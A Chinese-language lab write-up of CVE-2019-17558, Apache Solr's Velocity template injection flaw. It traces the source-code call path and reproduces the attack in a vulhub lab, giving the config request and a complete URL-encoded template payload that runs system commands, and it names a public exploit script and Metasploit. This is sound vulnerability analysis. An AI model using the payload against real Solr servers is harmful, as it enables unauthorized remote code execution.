漏洞介绍
Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行,命令回显结果在response。
漏洞范围
5.0.0 到 8.3.1版本
靶场配置
使用vulhub的靶场
环境为Apache Solr 8.2.0
/vulhub-master/solr/CVE-2019-17558
1 | 启动靶场:docker-compose up -d |
漏洞原理
漏洞触发分为两步
开启自定义模板
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L348-L351
将请求对象request、响应对象response传入参数不同的doFilter。
org/apache/solr/servlet/SolrDispatchFilter.java:420

solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L420-L423
创建HttpSolrCall对象,最终call对象中的成员的存储情况如下:

继续跟进call方法。
org/apache/solr/servlet/HttpSolrCall.java:566

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L566
这里根据action进行开关选择,进入PROCESS分支,创建SolrQueryResponse对象,然后传入execute方法。
org.apache.solr.servlet.HttpSolrCall#execute

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L775-L781
solrReq.getCore()返回成员中的SolrCore对象,并传入SolrConfigHandler类的hanler成员并调用execute方法。
org.apache.solr.core.SolrCore#execute

solr/core/src/java/org/apache/solr/core/SolrCore.java#L2551-L2594
跟进handler.handleRequest函数
org.apache.solr.handler.RequestHandlerBase#handleRequest

solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java#L181-L254
org.apache.solr.handler.SolrConfigHandler#handleRequestBody

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L126-L144
这里解析POST请求,并进入对应的command.handlePOST。
org.apache.solr.handler.SolrConfigHandler.Command#handlePOST

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L332-L358
通过CommandOperation.readCommands得到ops以及相同的opsCopy

继续跟进handleCommands函数
org/apache/solr/handler/SolrConfigHandler.java:480

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L480
首先是updateNamedPlugin函数生成overlay。
org.apache.solr.handler.SolrConfigHandler.Command#updateNamedPlugin

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L522-L558
org.apache.solr.handler.SolrConfigHandler.Command#verifyClass

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L566-L579
org.apache.solr.core.SolrCore#createInitInstance

solr/core/src/java/org/apache/solr/core/SolrCore.java#L859-L871
org.apache.solr.response.VelocityResponseWriter#init

solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java#L91-L125
一路跟进到VelocityResponseWriter对象的初始化,自定义选项已经开启。

org/apache/solr/handler/SolrConfigHandler.java:504

solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java#L504
overlay.toByteArray()转换为JSON格式然后传入SolrResourceLoader.persistConfLocally。
org.apache.solr.core.SolrResourceLoader#persistConfLocally

solr/core/src/java/org/apache/solr/core/SolrResourceLoader.java#L888-L916
JSON配置数据写入本地且路径为
1 | /Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/configoverlay.json |
此时的调用栈为:
1 | persistConfLocally:890, SolrResourceLoader (org.apache.solr.core) |
velocity模板注入
前面的流程和上面比较相似,直接看触发模板注入的位置
org/apache/solr/servlet/HttpSolrCall.java:580

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L580, L582
首先获取前面开启params.resource.loader.enabled选项的QueryResponseWriter对象,接着传入writeResponse函数。
org.apache.solr.servlet.HttpSolrCall#writeResponse

solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L851-L879
接着调用QueryResponseWriterUtil.writeQueryResponse
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

solr/core/src/java/org/apache/solr/response/QueryResponseWriterUtil.java#L43-L68
org.apache.solr.response.VelocityResponseWriter#write

solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java#L149-L196
完成命令执行,此时的调用栈为:
1 | write:150, VelocityResponseWriter (org.apache.solr.response) |
漏洞复现
默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
1 | http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json |
Vulhub里唯一的核心是demo:

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:
1 | POST /solr/demo/config HTTP/1.1 |
之后,注入Velocity模板即可执行任意命令:
1 | http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end |

exp
GitHub - jas502n/solr_rce: Apache Solr RCE via Velocity template
1 | python2 solr_rce.py http://x.x.x.x:8983 command |

复现成功
msf利用

参考
CVE-2019-17558漏洞复现 - 冰淇淋干杯 - 博客园 (cnblogs.com)
GitHub - jas502n/solr_rce: Apache Solr RCE via Velocity template
Apache Solr Velocity模板注入RCE漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
Apache Solr 远程代码执行漏洞浅析(CVE-2019-17558) - SecPulse.COM | 安全脉搏